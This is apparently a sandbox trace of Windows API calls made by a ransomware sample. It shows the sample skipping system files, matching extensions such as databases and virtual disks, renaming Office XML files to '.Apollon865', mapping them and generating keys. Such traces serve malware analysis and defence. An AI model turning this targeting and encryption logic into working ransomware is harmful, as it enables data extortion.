	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="temp") returned -1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="pagefile.sys") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="boot") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="ids.txt") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="ntuser.dat") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="perflogs") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="MSBuild") returned 1
	[0069.636] lstrlenW (lpString="PGMN082.XML") returned 11
	[0069.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML") returned 63
	[0069.636] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN082.XML" | out: lpString1="PGMN082.XML") returned="PGMN082.XML"
	[0069.636] lstrlenW (lpString="PGMN082.XML") returned 11
	[0069.636] lstrlenW (lpString="Apollon865") returned 10
	[0069.636] lstrcmpiW (lpString1="GMN082.XML", lpString2="Apollon865") returned 1
	[0069.636] lstrlenW (lpString=".dll") returned 4
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2=".dll") returned 1
	[0069.636] lstrlenW (lpString=".lnk") returned 4
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2=".lnk") returned 1
	[0069.636] lstrlenW (lpString=".ini") returned 4
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2=".ini") returned 1
	[0069.636] lstrlenW (lpString=".sys") returned 4
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2=".sys") returned 1
	[0069.636] lstrlenW (lpString="PGMN082.XML") returned 11
	[0069.636] lstrlenW (lpString="bak") returned 3
	[0069.636] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.637] lstrlenW (lpString="ba_") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.637] lstrlenW (lpString="dbb") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.637] lstrlenW (lpString="vmdk") returned 4
	[0069.637] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.637] lstrlenW (lpString="rar") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.637] lstrlenW (lpString="zip") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.637] lstrlenW (lpString="tgz") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.637] lstrlenW (lpString="vbox") returned 4
	[0069.637] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.637] lstrlenW (lpString="vdi") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.637] lstrlenW (lpString="vhd") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.637] lstrlenW (lpString="vhdx") returned 4
	[0069.637] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.637] lstrlenW (lpString="avhd") returned 4
	[0069.637] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.637] lstrlenW (lpString="db") returned 2
	[0069.637] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.637] lstrlenW (lpString="db2") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.637] lstrlenW (lpString="db3") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.637] lstrlenW (lpString="dbf") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.637] lstrlenW (lpString="mdf") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.637] lstrlenW (lpString="mdb") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.637] lstrlenW (lpString="sql") returned 3
	[0069.637] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.637] lstrlenW (lpString="sqlite") returned 6
	[0069.638] lstrcmpiW (lpString1="82.XML", lpString2="sqlite") returned -1
	[0069.638] lstrlenW (lpString="sqlite3") returned 7
	[0069.638] lstrcmpiW (lpString1="082.XML", lpString2="sqlite3") returned -1
	[0069.638] lstrlenW (lpString="sqlitedb") returned 8
	[0069.638] lstrcmpiW (lpString1="N082.XML", lpString2="sqlitedb") returned -1
	[0069.638] lstrlenW (lpString="xml") returned 3
	[0069.638] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.638] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.Apollon865") returned 74
	[0069.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.639] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=203384) returned 1
	[0069.640] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.640] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.641] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.641] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31d80, lpName=0x0) returned 0x118
	[0069.642] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31d80) returned 0x120000
	[0069.685] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.685] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.685] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.689] lstrcmpiW (lpString1="PGMN086.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.689] lstrcmpiW (lpString1="PGMN086.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.689] lstrcmpiW (lpString1="PGMN086.XML", lpString2=".") returned 1
	[0069.689] lstrcmpiW (lpString1="PGMN086.XML", lpString2="..") returned 1
	[0069.689] lstrcmpiW (lpString1="PGMN086.XML", lpString2="windows") returned -1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="bootmgr") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="temp") returned -1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="pagefile.sys") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="boot") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="ids.txt") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="ntuser.dat") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="perflogs") returned 1
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2="MSBuild") returned 1
	[0069.690] lstrlenW (lpString="PGMN086.XML") returned 11
	[0069.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML") returned 63
	[0069.690] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN086.XML" | out: lpString1="PGMN086.XML") returned="PGMN086.XML"
	[0069.690] lstrlenW (lpString="PGMN086.XML") returned 11
	[0069.690] lstrlenW (lpString="Apollon865") returned 10
	[0069.690] lstrcmpiW (lpString1="GMN086.XML", lpString2="Apollon865") returned 1
	[0069.690] lstrlenW (lpString=".dll") returned 4
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2=".dll") returned 1
	[0069.690] lstrlenW (lpString=".lnk") returned 4
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2=".lnk") returned 1
	[0069.690] lstrlenW (lpString=".ini") returned 4
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2=".ini") returned 1
	[0069.690] lstrlenW (lpString=".sys") returned 4
	[0069.690] lstrcmpiW (lpString1="PGMN086.XML", lpString2=".sys") returned 1
	[0069.690] lstrlenW (lpString="PGMN086.XML") returned 11
	[0069.690] lstrlenW (lpString="bak") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.690] lstrlenW (lpString="ba_") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.690] lstrlenW (lpString="dbb") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.690] lstrlenW (lpString="vmdk") returned 4
	[0069.690] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.690] lstrlenW (lpString="rar") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.690] lstrlenW (lpString="zip") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.690] lstrlenW (lpString="tgz") returned 3
	[0069.690] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.691] lstrlenW (lpString="vbox") returned 4
	[0069.691] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.691] lstrlenW (lpString="vdi") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.691] lstrlenW (lpString="vhd") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.691] lstrlenW (lpString="vhdx") returned 4
	[0069.691] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.691] lstrlenW (lpString="avhd") returned 4
	[0069.691] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.691] lstrlenW (lpString="db") returned 2
	[0069.691] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.691] lstrlenW (lpString="db2") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.691] lstrlenW (lpString="db3") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.691] lstrlenW (lpString="dbf") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.691] lstrlenW (lpString="mdf") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.691] lstrlenW (lpString="mdb") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.691] lstrlenW (lpString="sql") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.691] lstrlenW (lpString="sqlite") returned 6
	[0069.691] lstrcmpiW (lpString1="86.XML", lpString2="sqlite") returned -1
	[0069.691] lstrlenW (lpString="sqlite3") returned 7
	[0069.691] lstrcmpiW (lpString1="086.XML", lpString2="sqlite3") returned -1
	[0069.691] lstrlenW (lpString="sqlitedb") returned 8
	[0069.691] lstrcmpiW (lpString1="N086.XML", lpString2="sqlitedb") returned -1
	[0069.691] lstrlenW (lpString="xml") returned 3
	[0069.691] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.691] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.Apollon865") returned 74
	[0069.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.692] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=11572) returned 1
	[0069.693] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.693] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.693] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.694] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3040, lpName=0x0) returned 0x118
	[0069.695] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3040) returned 0x100000
	[0069.696] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.697] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.697] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2=".") returned 1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2="..") returned 1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2="windows") returned -1
	[0069.697] lstrcmpiW (lpString1="PGMN089.XML", lpString2="bootmgr") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="temp") returned -1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="pagefile.sys") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="boot") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="ids.txt") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="ntuser.dat") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="perflogs") returned 1
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2="MSBuild") returned 1
	[0069.698] lstrlenW (lpString="PGMN089.XML") returned 11
	[0069.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML") returned 63
	[0069.698] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN089.XML" | out: lpString1="PGMN089.XML") returned="PGMN089.XML"
	[0069.698] lstrlenW (lpString="PGMN089.XML") returned 11
	[0069.698] lstrlenW (lpString="Apollon865") returned 10
	[0069.698] lstrcmpiW (lpString1="GMN089.XML", lpString2="Apollon865") returned 1
	[0069.698] lstrlenW (lpString=".dll") returned 4
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2=".dll") returned 1
	[0069.698] lstrlenW (lpString=".lnk") returned 4
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2=".lnk") returned 1
	[0069.698] lstrlenW (lpString=".ini") returned 4
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2=".ini") returned 1
	[0069.698] lstrlenW (lpString=".sys") returned 4
	[0069.698] lstrcmpiW (lpString1="PGMN089.XML", lpString2=".sys") returned 1
	[0069.698] lstrlenW (lpString="PGMN089.XML") returned 11
	[0069.698] lstrlenW (lpString="bak") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.698] lstrlenW (lpString="ba_") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.698] lstrlenW (lpString="dbb") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.698] lstrlenW (lpString="vmdk") returned 4
	[0069.698] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.698] lstrlenW (lpString="rar") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.698] lstrlenW (lpString="zip") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.698] lstrlenW (lpString="tgz") returned 3
	[0069.698] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.698] lstrlenW (lpString="vbox") returned 4
	[0069.699] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.699] lstrlenW (lpString="vdi") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.699] lstrlenW (lpString="vhd") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.699] lstrlenW (lpString="vhdx") returned 4
	[0069.699] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.699] lstrlenW (lpString="avhd") returned 4
	[0069.699] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.699] lstrlenW (lpString="db") returned 2
	[0069.699] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.699] lstrlenW (lpString="db2") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.699] lstrlenW (lpString="db3") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.699] lstrlenW (lpString="dbf") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.699] lstrlenW (lpString="mdf") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.699] lstrlenW (lpString="mdb") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.699] lstrlenW (lpString="sql") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.699] lstrlenW (lpString="sqlite") returned 6
	[0069.699] lstrcmpiW (lpString1="89.XML", lpString2="sqlite") returned -1
	[0069.699] lstrlenW (lpString="sqlite3") returned 7
	[0069.699] lstrcmpiW (lpString1="089.XML", lpString2="sqlite3") returned -1
	[0069.699] lstrlenW (lpString="sqlitedb") returned 8
	[0069.699] lstrcmpiW (lpString1="N089.XML", lpString2="sqlitedb") returned -1
	[0069.699] lstrlenW (lpString="xml") returned 3
	[0069.699] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.699] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.Apollon865") returned 74
	[0069.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.701] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4518) returned 1
	[0069.701] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.701] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.701] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.702] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14b0, lpName=0x0) returned 0x118
	[0069.703] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14b0) returned 0x100000
	[0069.704] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.704] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.704] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2=".") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="..") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="windows") returned -1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="bootmgr") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="temp") returned -1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="pagefile.sys") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="boot") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="ids.txt") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="ntuser.dat") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="perflogs") returned 1
	[0069.705] lstrcmpiW (lpString1="PGMN090.XML", lpString2="MSBuild") returned 1
	[0069.705] lstrlenW (lpString="PGMN090.XML") returned 11
	[0069.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML") returned 63
	[0069.706] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN090.XML" | out: lpString1="PGMN090.XML") returned="PGMN090.XML"
	[0069.706] lstrlenW (lpString="PGMN090.XML") returned 11
	[0069.706] lstrlenW (lpString="Apollon865") returned 10
	[0069.706] lstrcmpiW (lpString1="GMN090.XML", lpString2="Apollon865") returned 1
	[0069.706] lstrlenW (lpString=".dll") returned 4
	[0069.706] lstrcmpiW (lpString1="PGMN090.XML", lpString2=".dll") returned 1
	[0069.706] lstrlenW (lpString=".lnk") returned 4
	[0069.706] lstrcmpiW (lpString1="PGMN090.XML", lpString2=".lnk") returned 1
	[0069.706] lstrlenW (lpString=".ini") returned 4
	[0069.706] lstrcmpiW (lpString1="PGMN090.XML", lpString2=".ini") returned 1
	[0069.706] lstrlenW (lpString=".sys") returned 4
	[0069.706] lstrcmpiW (lpString1="PGMN090.XML", lpString2=".sys") returned 1
	[0069.706] lstrlenW (lpString="PGMN090.XML") returned 11
	[0069.706] lstrlenW (lpString="bak") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.706] lstrlenW (lpString="ba_") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.706] lstrlenW (lpString="dbb") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.706] lstrlenW (lpString="vmdk") returned 4
	[0069.706] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.706] lstrlenW (lpString="rar") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.706] lstrlenW (lpString="zip") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.706] lstrlenW (lpString="tgz") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.706] lstrlenW (lpString="vbox") returned 4
	[0069.706] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.706] lstrlenW (lpString="vdi") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.706] lstrlenW (lpString="vhd") returned 3
	[0069.706] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.706] lstrlenW (lpString="vhdx") returned 4
	[0069.706] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.706] lstrlenW (lpString="avhd") returned 4
	[0069.706] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.707] lstrlenW (lpString="db") returned 2
	[0069.707] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.707] lstrlenW (lpString="db2") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.707] lstrlenW (lpString="db3") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.707] lstrlenW (lpString="dbf") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.707] lstrlenW (lpString="mdf") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.707] lstrlenW (lpString="mdb") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.707] lstrlenW (lpString="sql") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.707] lstrlenW (lpString="sqlite") returned 6
	[0069.707] lstrcmpiW (lpString1="90.XML", lpString2="sqlite") returned -1
	[0069.707] lstrlenW (lpString="sqlite3") returned 7
	[0069.707] lstrcmpiW (lpString1="090.XML", lpString2="sqlite3") returned -1
	[0069.707] lstrlenW (lpString="sqlitedb") returned 8
	[0069.707] lstrcmpiW (lpString1="N090.XML", lpString2="sqlitedb") returned -1
	[0069.707] lstrlenW (lpString="xml") returned 3
	[0069.707] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.707] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.Apollon865") returned 74
	[0069.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.709] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=41542) returned 1
